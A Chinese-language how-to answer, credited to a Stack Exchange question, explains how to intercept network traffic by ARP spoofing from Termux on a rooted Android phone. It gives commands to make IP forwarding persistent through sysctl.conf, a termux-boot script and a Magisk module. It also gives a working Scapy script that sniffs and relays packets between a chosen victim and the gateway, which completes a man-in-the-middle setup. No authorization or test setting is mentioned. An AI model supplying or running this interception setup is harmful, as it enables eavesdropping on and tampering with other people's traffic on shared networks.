Rooted Android设备Termux环境IP转发持久化与ARP欺骗流量拦截问题
在Root的Android Termux环境下实现ARP欺骗与流量转发
一、ARP欺骗可行性
在已Root的Android设备Termux环境下,完全可以通过ARP欺骗实现流量拦截。只要设备获取了Root权限,且成功安装Scapy及依赖组件,就能运行你提供的Linux桌面端同款Scapy脚本(需确保网络接口参数适配Android设备,比如用ip link查看实际接口名,通常是wlan0)。
二、IP转发设置持久化方法
1. 修改系统sysctl配置文件
Android的sysctl配置通常位于/system/etc/sysctl.conf,需Root权限编辑:
- 先挂载/system分区为可写:
sudo mount -o rw,remount /system - 编辑配置文件:
sudo nano /system/etc/sysctl.conf - 添加或修改一行:
net.ipv4.ip_forward=1 - 恢复/system分区为只读:
重启设备后,IP转发会自动保持开启状态。sudo mount -o ro,remount /system
2. Termux开机自启脚本
利用Termux的开机自启功能,每次开机自动执行IP转发命令:
- 安装termux-boot工具(若未安装):
pkg install termux-boot - 创建自启脚本:
nano $HOME/.termux/boot/ip_forward.sh - 写入脚本内容:
#!/data/data/com.termux/files/usr/bin/bash sudo sysctl net.ipv4.ip_forward=1 - 给脚本添加执行权限:
chmod +x $HOME/.termux/boot/ip_forward.sh - 开启系统设置中Termux的自启权限,确保开机后脚本能自动运行。
3. Magisk模块实现(适用于Magisk Root设备)
若你的设备通过Magisk获取Root,可创建简单模块实现开机自动开启IP转发:
- 新建模块目录结构:
ip-forward-module/ ├── META-INF/ │ └── com/ │ └── google/ │ └── android/ │ ├── update-binary │ └── updater-script └── service.sh - 在
service.sh中写入:sysctl -w net.ipv4.ip_forward=1 - 将整个目录打包为ZIP文件,通过Magisk Manager刷入该模块,重启后IP转发会自动生效。
三、Scapy+Python实现流量转发方案
若不想依赖系统IP转发功能,可直接用Scapy编写Python脚本手动处理数据包转发:
from scapy.all import * import threading # 配置参数,根据实际环境修改 TARGET_IP = "192.168.1.100" TARGET_MAC = "aa:bb:cc:dd:ee:ff" GATEWAY_IP = "192.168.1.1" GATEWAY_MAC = "ff:ee:dd:cc:bb:aa" INTERFACE = "wlan0" # 用`ip link`查看Termux中的实际网络接口 def forward_to_gateway(packet): # 转发目标设备的数据包到网关 if IP in packet and packet[IP].dst != GATEWAY_IP and packet[Ether].src != get_if_hwaddr(INTERFACE): forward_pkt = Ether(src=get_if_hwaddr(INTERFACE), dst=GATEWAY_MAC) / packet[IP] sendp(forward_pkt, iface=INTERFACE, verbose=0) def forward_to_target(packet): # 转发网关的数据包到目标设备 if IP in packet and packet[IP].dst == TARGET_IP and packet[Ether].src != get_if_hwaddr(INTERFACE): forward_pkt = Ether(src=get_if_hwaddr(INTERFACE), dst=TARGET_MAC) / packet[IP] sendp(forward_pkt, iface=INTERFACE, verbose=0) # 启动两个监听线程分别处理双向转发 threading.Thread(target=sniff, kwargs={"iface": INTERFACE, "prn": forward_to_gateway, "store": 0}).start() threading.Thread(target=sniff, kwargs={"iface": INTERFACE, "prn": forward_to_target, "store": 0}).start()
- 运行要求:需Root权限,在Termux中执行
sudo python3 forward_script.py;确保已安装Scapy:pkg install scapy python3
内容的提问来源于stack exchange,提问作者Kthun




